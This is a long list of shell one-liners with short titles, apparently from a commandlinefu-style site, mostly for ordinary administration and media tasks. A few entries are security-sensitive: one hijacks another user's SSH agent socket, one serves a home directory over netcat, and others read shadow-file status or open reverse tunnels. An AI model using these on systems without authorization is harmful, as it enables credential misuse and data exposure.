>> trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP
* listen to ram
>> cat /dev/mem > /dev/audio
* Big (four-byte) $RANDOM
>> printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'`
* HDD Performance Write Test
>> dd if=/dev/zero of=10gb bs=1M count=10240
* Copy a file and force owner/group/mode
>> install -o user -g group -m 755 /path/to/file /path/to/dir/
* Delete newline
>> tr -d "\n" < file1 > file2
* Make the Mac OS X Dock 2D once more (10.5 and above only)
>> defaults write com.apple.Dock no-glass -boolean YES; killall Dock
* Find files with the same names in several directories.
>> ls -1 . dir2 dir3|sort|uniq -d
* re-assign line numbers
>> perl -pe 's/\d+/++$n/e' file.txt
* reset an hanging terminal session
>> ^J tput sgr0 ^J
* Create a 100MB file for testing transfer speed
>> dd if=/dev/random of=bigfile bs=1024 count=102400
* Number of CPU's in a system
>> grep "processor" /proc/cpuinfo | wc -l
* send substituted text to a command without echo, pipe
>> nc localhost 10000 <<< "message"
* phpinfo from the command line
>> echo "<?php phpinfo(); ?>" | php > phpinfo.txt
* read Windows ACLs from Linux
>> smbcacls //server/sharename file -U username
* Umount only the NFS related to 'string'
>> for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done
* Find files with at least one exec bit set
>> find . -type f -perm +0111 -print
* Get your default route
>> ip route | grep default | awk '{print $3}'
* List all files/folders in working directory with their total size
>> du --max-depth=1 -m
* Show a calendar
>> cal [[month] year]
* Check for Firewall Blockage.
>> iptables -L -n --line-numbers | grep xx.xx.xx.xx
* Finds all files from / on down over specified size.
>> find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'
* Mount a windows partition in a dual boot linux installation with
>> mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force
* tar pipe to copy files, alternate to cp -Ra
>> (cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -)
* burn backed up xbox 360 games
>> growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso
* find all files containing a pattern, open them using vi and place
>> find . -type f -exec grep -l pattern {} \; | xargs vi +/pattern
* converts a directory full of source tarballs into a bzr repository
>> bzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done
* Test python regular expressions
>> rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }
* Perform a C-style loop in Bash.
>> for (( i = 0; i < 100; i++ )); do echo "$i"; done
* Pipe a textfile to vim and move the cursor to a certain line
>> zcat /usr/share/doc/vim-common/README.gz | vim -g +23 -
* Convert PNG to GIF
>> for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
* Turns hidden applications transparent in the Mac OS X dock.
>> defaults write com.apple.Dock showhidden -bool YES
* Creat a new user with no shell. Useful to provide other services
>> useradd -s /sbin/nologin nicdev
* Search specified $TEXT1 and Replace that by specified arg ($TEXT2)
>> find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g"
* It decripts all pgp files in a selection folder and move the
>> for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;
* Show device drivers and their properties (Windows XP)
>> driverquery /si /fo table
* relabel current konsole tab
>> alias rk='d=$(dcop|grep $PPID) && s=$(dcop $d konsole currentSession) && dcop $d $s renameSession'
* Mortality Countdown
>> while [ 0 ]; do expr 2365200000 \- `date +%s` \- `date --date "YYYY-mm-dd HH:MM:ss" +%s`; sleep 1; clear; done
* set prompt and terminal title to display hostname, user ID and
>> export PS1='\[\e]0;\h \u \w\a\]\n\[\e[0;34m\]\u@\h \[\e[33m\]\w\[\e[0;32m\]\n\$ '
* Show one line summaries of all DEB packages installed on Ubuntu
>> dpkg --list '*linux*' | grep '^ii'
* Create a git alias that will pull and fast-forward the current
>> git config --global --add alias.ff "pull --no-commit -v" ; git ff
* Getting the ip address of eth0
>> ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
* tunnel vnc port
>> ssh -L 5900:localhost:5900 user@exampleserver.com
* Find public IP when behind a random router (also see description)
>> alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'
* Remove multiple same rpm packages
>> rpm -e --allmatches filename.rpm
* KDE Mixer Master Mute/Unmute
>> alias mute="dcop kmix Mixer0 toggleMasterMute\(\) ; dcop kmix Mixer0
* Automatically create a rar archive
>> rar a -m0 "${PWD##*/}.rar" *
* Display the linux host infomation.
>> hostinfo.sh
* Recover cvs ": no such repository" error
>> find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
* Recursive Ownership Change
>> chown -cR --from=olduser:oldgroup newuser:newgroup *
* Name a backup/archive file based on current date and time
>> archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz
* Erase DVD RW
>> dvd+rw-format /dev/dvd
* Separates each frame of a animated gif file to a counted file,
>> convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
* convert hex to decimal ; decimal to hex
>> echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
* Better recursive grep with pretty colors... requires ruby and gems
>> rak "what you're searching for" dir/path
* Change size of lots of image files.
>> for File in *.jpg; do mogrify -resize 1024 -quality 96 $File; done
* list file descriptors opened by a process
>> ls -al /proc/<PID>/fd
* finding more large files
>> find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
* cloning partition tables under Solaris
>> prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2
* Use nroff to view the man pages
>> nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less
* See the top 10 IP addresses in a web access log
>> # cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | head -10 | nl
* E-mail a traditional Berkeley mbox to another recipient as
>> formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo
* search user defined function in c language
>> cflow file.c | grep ':$' | sed 's/ <.*//'
* Adhoc tar backup
>> tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz
* Get a process's pid by supplying its name
>> pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }
* play all mp4 files on home directory
>> find ~ -name '*.mp4' | xargs mplayer
* Convert a date to timestamp
>> date --utc --date "2009-02-06 09:57:54" +%s
* Fire CMD every time FILE (or directory) is updated (on *BSD)
>> f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `$c`;t=`$s`;fi;done
* List open sockets protocol/address/port/state/PID/program name
>> sudo netstat -punta
* The simplest way to transport information over a network
>> (on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
* tar a directory and send it to netcat
>> tar cfvz - /home/user | netcat -l -p 10000
* Ride another SSH agent
>> export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1`
* Prepare B&W scans for clean looking, searchable PDF
>> convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff
* Periodic Log Deletion
>> find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;
* in-place search/replace with datestamped backup
>> sed -i.`date +%Y%m%d` -e 's/pattern/replace' [filename]
* Unrar multiple directories into current working directory
>> for x in */*.rar; do unrar x $x; done
* Validate openssh key & print checksum
>> ssh-keygen -l -f [pubkey] | awk '{print $2}' | tr -ds ':' '' | egrep -ie "[a-f0-9]{32}"
* Get line count for any file ending with extension recursively
>> find . -name "*.py" | xargs wc -l
* Search for in which package the specified file is included.
>> /bin/rpm -qf /etc/passwd /etc/issue /etc/httpd/conf/httpd.conf
* List just the executable files (or directories) in current
>> ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print`
* [WinXP]Use as a shortcut in the SendTo menu to open a cmd window
>> C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
* Function to remove a directory from your PATH
>> pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }
* move all the .bak backup copies to their original names (rename
>> for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done
* Print all lines in a file that are not a certain length
>> awk 'length($0)!=12 {print}' your_file_name
* Creates a SSHFS volume on MacOS X (better used as an alias). Needs
>> mkdir /Volumes/sshdisk 2> /dev/null; sshfs user@server:/
* Get me yesterday's date, even if today is 1-Mar-2008 and yesterday
>> TZ=XYZ24 date
* look for a function reference in a library set
>> nm --defined-only --print-file-name lib*so 2>/dev/null | grep ' pthread_create$'
* diff directories, quick cut and paste to view the changes
>> diff -q dir1/ dir2/ | grep differ | awk '{ print "vimdiff " $2 " " $4 }'
* Flush and then immediately start watching a file
>> (> errors.log) && tail -f !^
* Ping a URL sending output to file and STDOUT
>> ping google.com | tee ping-output.txt
* Display PHP files that directly instantiate a given class
>> find . -name "*.php" -exec grep \-H "new filter_" {} \;
* Creates a customized search command
>> alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep --color=always -ni -C2'
* Add SVN keywords property to all PHP and Javascript files
>> find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \;
* Prevent overwriting file when using redirection
>> set -o noclobber
* Poor man's ntpdate
>> date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`"
* sirve para ver la salida de un comando en pantalla y al mismo
>> find / -name *.conf | tee salida
* Poor man's ntpdate
>> date -s "$(echo -e "HEAD / HTTP/1.0\n" | nc www.example.com 80 | sed -ne 's/^Date: \(.*\)$/\1/p')"
* get bofh excuse from a trusted source :-)
>> telnet bofh.jeffballard.us 666
* Every Nth line position # (AWK)
>> awk '{if (NR % 3 == 1) print $0}' foo > foo_every3_position1; awk '{if (NR % 3 == 2) print $0}' foo > foo_every3_position2; awk '{if (NR % 3 == 0) print $0}' foo > foo_every3_position3
* Fix borked character coding in a tty.
>> LC_ALL=C man -c man
* use sed to simulate rpad and lpad
>> ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta'
* Print a row of 50 hyphens
>> echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta'
* Print a row of 50 hyphens
>> jot -s '' -b '-' 50
* Prints line numbers
>> nl <filename>
* Determine what process is listening on a port on Solaris, without
>> for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null
* Change your swappiness Ratio under linux
>> echo 50 > /proc/sys/vm/swappiness
* paged 'ls' in color
>> ls -lah --color=always | most
* Manage "legacy" service run control links
>> sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \;
* Replace spaces in filename
>> for i in *\ *; do if [ -f "$i" ]; then mv "$i" ${i// /_}; fi; done
* Replace strings in files
>> sed -i -e 's/war/peace/g' *
* Shorten url using bit.ly API
>> curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line
* convert wav into mp3 using lame
>> lame -V2 rec01.wav rec01.mp3
* Find and print pattern location from all files on command line
>> find . -exec grep $foo {} \; -print
* Display the output of a command from the first line until the
>> command | sed '/regex/q'
* Read just the IP address of a device
>> ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null
* Display the list of all opened tabs from Firefox via a python
>> python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
* Pause and Resume Processes
>> stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
* upload a file via ftp
>> curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/
* floating point shell calculator
>> calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; }
* show how much diskspace all images in a given directory need
>> find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1
* floating point bash calculator w/o precision
>> b(){ echo "scale=${2:-2}; $1" | bc -l; }
* copy partition table from /dev/sda to /dev/sdb
>> sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb
* Display the output of a command from the first line until the
>> <command> | perl -pe '/<regex/ && exit;'
* Display the output of a command from the first line until the
>> <your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
* Randomize lines (opposite of | sort), or use 'shuf' better.
>> perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt
* Sum process information using awk
>> ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'
* monitor the kernel ring buffer
>> watch 'dmesg | tail -15'
* parse an rpm name into its components - fast
>> parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%- *};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }
* display embeded comments for every --opt, usefull for auto
>> vim -n -es -c 'g/# CommandParse/+2,/^\s\+esac/-1 d p | % d | put p | %<' -c 'g/^\([-+]\+[^)]\+\))/,/^\(\s\+[^- \t#]\|^$\)/-1 p' -c 'q!' $0
* p is for pager
>> p() { l=$LINES; case $1 in do) shift; IFS=$'\n' _pg=( $("$@") ) && _pgn=0 && p r;; r) echo "${_pg[*]:_pgn:$((l-4))}";; d) (( _pgn+=l-4 )); (( _pgn=_pgn>=${#_pg[@]}?${#_pg[@]}-l+4:_pgn )); p r;; u) (( _pgn=_pgn<=l-4?0:_pgn-$l-4 )); p r;; esac; }
* Sometimes you just want a quick way to find out if a certain user
>> getent shadow | grep '^[^:]\+:!' | cut -d: -f1
* Sometimes you just want a quick way to find out if a certain user
>> getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo "$a not locked"; done
* Sometimes you just want a quick way to find out if a certain user ??
>> awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ; done
* report what tape is in autoloader mailslot (using barcode label)
>> mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63
* count and number lines of output, useful for counting number of
>> ps aux | grep [h]ttpd | cat -n
* Create SSH key exchange from one host to the other
>> cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"
* Check general system error on AIX
>> errpt -a | more
* Mostly silent FLAC checking (only errors are displayed)
>> flac -ts *.flac
* Send a local file via email
>> { echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ;
* display / view the contents of the manifest within a java jar
>> $ unzip -p some-jar-file.jar META-INF/MANIFEST.MF
* Optimal way of deleting huge numbers of files
>> find /path/to/dir/ -type f -exec rm {} +
* Extract all urls from the last firefox sessionstore.js file used.
>> grep -oP '"url":"\K[^"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)
* Router discovery
>> traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'
* prints line numbers
>> perl -pe 'print "$. "' <file>
* Use curl on Windows to bulk-download the Savitabhabhi Comic Strip
>> for /L %%x in (1,1,16) do mkdir %%x & curl -R -e http://www.kirtu.com
* Know when you will type :q in your term instead of vi(m), the
>> alias :q='tput setaf 1; echo >&2 "this is NOT vi(m) :/"; tput sgr0'
* Salvage a borked terminal
>> echo <ctrl+v><ctrl+o><enter>
* Search trought pidgin's conversation logs for "searchterm", and
>> grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g'
* Shorten url with is.gd using curl, perl
>> curl -s "http://is.gd/api.php?longurl=[long_url]"
* get MAC address of default gateway
>> netstat -nr | awk 'BEGIN {while ($1!="default") getline; g=$2;} (g==$1) {print $2; exit;}'
* Finding all numbers that are bigger then 1 in vim
>> /^\([2-9]\d*\|1\d+\)
* Show Network IP and Subnet
>> ipcalc $(ifconfig eth0 | grep "inet addr:" | cut -d':' -f2,4 | sed 's/.+Bcast:/\//g') | awk '/Network/ { print $2 } '
* Router discovery
>> awk 'NR==2 {print $1}' /proc/net/arp
* Return IP Address
>> ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'
* Make ABBA better (requires firefox)
>> wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm
* get daily wizard of id comic
>> curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif`
* View the newest xkcd comic.
>> lynx --dump --source http://www.xkcd.com | grep `lynx --dump http://www.xkcd.com | egrep '(png|jpg)'` | grep title | cut -d = -f2,3 | cut -d '"' -f2,4 | sed -e 's/"/|/g' | awk -F"|" ' { system("display " $1);system("echo "$2); } '
* Watch those evil Red Hat states code D Uninterruptible sleep
>> watch -n 1 "ps aux | sed -n 's/ D /&/p'"
* lists contents of a tar file
>> tar -tf /path/to/file.tar
* convert flv into avi file and mp3 sound
>> mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
* generate random password
>> cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q
* use the short username by default for network authentication
>> defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES
* Match a URL
>> echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))"
* Run command in an ftp session
>> ftp>!w
* configify the list of gems on ur machine. the quick hack
>> gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)"
* configify the list of gems on ur machine. the quick hack
>> gem list --local | python -c "import sys;import
* Find in all files in the current directory, just a find shorthand
>> grep -H -n "pattern" *
* Find all dot files and directories
>> printf "%s\n" .*
* List the biggest accessible files/dirs in current directory,
>> du -ms * 2>/dev/null |sort -nr|head
* Make all GUI stuff show up on the display connected to the
>> DISPLAY=:0.0; export DISPLAY
* DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder
>> mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0
* Find iPod's fwguid
>> lsusb -v | grep -o "[0-9A-Z]{16}"
* Show sorted list of files with sizes more than 1MB in the current
>> find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2
* Get your external IP address
>> wget -qO - http://www.sputnick-area.net/ip;echo
* force change password for all user
>> while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd
* Find all dot files and directories
>> printf "%s\n" .*
* Testing reading speed with dd
>> sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
* Testing writing speed with dd
>> sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`
* Better "hours of video" summary for each file/dir in the current
>> for item in *;do echo -n "$item - ";find "$item" -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1 | xargs -d'\n' /usr/share/doc/mplayer/examples/midentify | grep ID_LENGTH | awk -F= '{sum+=$2} END {print(sum/60)}'; done | grep -v ' - 0$'
* Find all videos under current directory
>> find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1
* force change password for all user
>> getent passwd|cut -d: -f1|xargs -n1 passwd -e
* system beep off
>> setterm -bfreq 0
* Provides external IP, Country and City in a formated manner.
>> geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP Address:|Country:' }
* geoip information
>> geoiplookup www.commandlinefu.com
* shell function to turn start and length in to a range suitable
>> range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }
* slice a fixed number of characters from the output of a command,
>> slice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"
* slice a fixed number of characters from the output of a command,
>> slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)-
* Be notified about overheating of your CPU and/or motherboard
>> sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees"
* Start the x11vnc server
>> x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever
* Create x11vnc server authentication file
>> x11vnc -storepasswd your_new_apssword ~/my_vnc_pass
* List all available commands
>> in bash hit "tab" twice and answer y
* geoip information
>> geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)"| sed '/^IP:/!d;s/<[^>][^>]*>//g'; }
* Show a script or config file without comments
>> egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile
* Create a simple backup
>> tar pzcvf /result_path/result.tar.gz /target_path/target_folder
* Sort movies by length, longest first
>> for i in *.avi; do echo -n "$i:";mediainfo $i|head | grep PlayTime | cut -d: -f2 ; done | sort -t: -k2 -r
* Get ethX mac addresses
>> ifconfig | awk '/HW/ {print $5}'
* Get ethX mac addresses
>> ip link show eth0 | grep "link/ether" | awk '{print $2}'
* Build an exhaustive list of maildir folders for mutt
>> find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
* Sum of the total resident memory Stainless.app is using.
>> ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}'
* Make sure a script is run in a terminal.
>> tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
* Attach all discovered iscsi nodes
>> iscsiadm -m node -l
* Add the sbin directories to your PATH if it doesn't already exist
>> path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );
* Search vmware vmx files if Linux guests are set to sync time to
>> for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done;
* Empty a file
>> > [filename].txt
* Erase empty files
>> find . -size 0 -exec rm '{}' \;
* Receiving alerts about commands who exit with failure
>> export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'
* Tweet my ip ( see your machine ip on twitter )
>> STAT=`curl http://www.whatismyip.org/`; curl -u YourUserName:YourPassword -d status=$STAT http://twitter.com/statuses/update.xml
* Calculating series with awk: add numbers from 1 to 100
>> awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null
* Get ssh server fingerprints
>> ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
* Remove CR LF from a text file
>> flip -u $FILE
* Prints per-line contribution per author for a GIT repository
>> git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr
* grep -v with multiple patterns.
>> sed -n '/test/{/error\|critical\|warning/d;p}' somefile
* view the system console remotely
>> sudo cat /dev/vcs1 | fold -w 80
* Download all Delicious bookmarks
>> curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all
* Schedule a download at a later time
>> echo 'wget url' | at 01:00
* Add calendar to desktop wallpaper
>> convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg
* create dir tree
>> mkdir -p doc/{text/,img/{wallpaper/,photos/}}
* Backup your hard drive with dd
>> sudo dd if=/dev/sda of=/media/disk/backup/sda.backup
* Quick glance at who's been using your system recently
>> last | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c
* Get Dell Service Tag Number from a Dell Machine
>> sudo dmidecode | grep Serial\ Number | head -n1
* change directory to actual path instead of symlink path
>> cd `pwd -P`
* Generat a Random MAC address
>> MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`
* Get list of servers with a specific port open
>> nmap -sT -p 80 -oG - 192.168.1.* | grep open
* ssh tunnel with auto reconnect ability
>> while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done
* Use last argument of last command
>> file !$
* A function to output a man page as a pdf file
>> function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }
* Save current layout of top
>> <Shift + W>
* Mount the first NTFS partition inside a VDI file (VirtualBox Disk
>> mount -t ntfs-3g -o ro,loop,uid=user,gid=group,umask=0007,fmask=0117,offset=0x$(hd -n 1000000 image.vdi | grep "eb 52 90 4e 54 46 53" | cut -c 1-8) image.vdi /mnt/vdi-ntfs
* Use all the cores or CPUs when compiling
>> make -j 4
* Create a list of binary numbers
>> echo {0..1}{0..1}{0..1}{0..1}
* Create a system overview dashboard on F12 key
>> bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
* Find last reboot time
>> who -b
* Start screen in detached mode
>> screen -d -m [<command>]
* Ctrl+S Ctrl+Q terminal output lock and unlock
>> Ctrl+S Ctrl+Q
* StopWatch, toilet version, amazing format inside terminal
>> export I=$(date +%s); watch -t -n 1 'T=$(date
* StopWatch, OnScreen version, blinking shily on all desktops
>> export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | osd_cat -o 20 -d 1 -p bottom'
* Show bash's function definitions you defined in .bash_profile or
>> declare -f [ function_name ]
* List bash functions defined in .bash_profile or .bashrc
>> set | fgrep " ()"
* Show current folder permission recursively from /, useful for
>> pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d "; ls -ld .; done; popd >/dev/null
* Convert Windows/DOS Text Files to Unix
>> flip -u <filenames>
* create a motion jpeg (MJPEG) with the jpg file from current
>> mencoder mf://image1.jpg,image2.jpg,image3.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc copy -oac copy -o output.avi
* Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil
>> mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac copy -o output.avi
* Command to build one or more network segments - with for
>> seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done }
* Command to build one or more network segments - with while
>> seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done; }
* Partition a new disk as all one partition tagged as "LInux LVM"
>> echo -e "n\np\n1\n\n\nt\n8e\nw" | fdisk /dev/sdX
* Set default "New Page" as HTML in TextMate
>> defaults write com.macromates.textmate OakDefaultLanguage 17994EC8-6B1D-11D9-AC3A-000D93589AF6
* List your largest installed packages (on Debian/Ubuntu)
>> perl -ne '$pkg=$1 if m/^Package: (.*)/; print "$1\t$pkg\n" if m/^Installed-Size: (.*)/;' < /var/lib/dpkg/status | sort -rn | less
* Copy recursivelly files of specific filetypes
>> rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' <sourcedir> <destdir>
* encode image to base64 and copy to clipboard
>> uuencode -m $1 /dev/stdout | sed '1d' | sed '$d' | tr -d '\n' | xclip -selection clipboard
* Battery real life energy vs predicted remaining plotted
>> echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
* Do you really believe on Battery Remaining Time? Confirm it from
>> echo start > battery.txt; watch -n 60 'date >> battery.txt'
* Get decimal ascii code from character
>> ord() { printf "%d\n" "'$1"; }
* Testing hard disk writing speed
>> time dd if=/dev/zero of=TEST bs=4k count=512000
* record alexa traffic stats of your website
>> x=1 ; while [ $x -le 10 ] ; do lynx -dump http://www.alexa.com/siteinfo/http://[YOUR WEBSITE] | grep Global | sed 's/ \|Global\|\,//g' >> /var/log/alexa-stats.txt ; sleep 5h ; done &
* Get decimal ascii code from character
>> ord () { seq 1 127 | while read i; do echo `chr $i` $i; done | grep "^$1 " | cut -c '3-' }
* google search
>> perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N },$i+=10}'|grep '\/\/g33kinfo.com\/'
* Set gnome wallpaper to a random jpg from the specified directory
>> gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"
* A quick shell command to weed out the small wallpapers
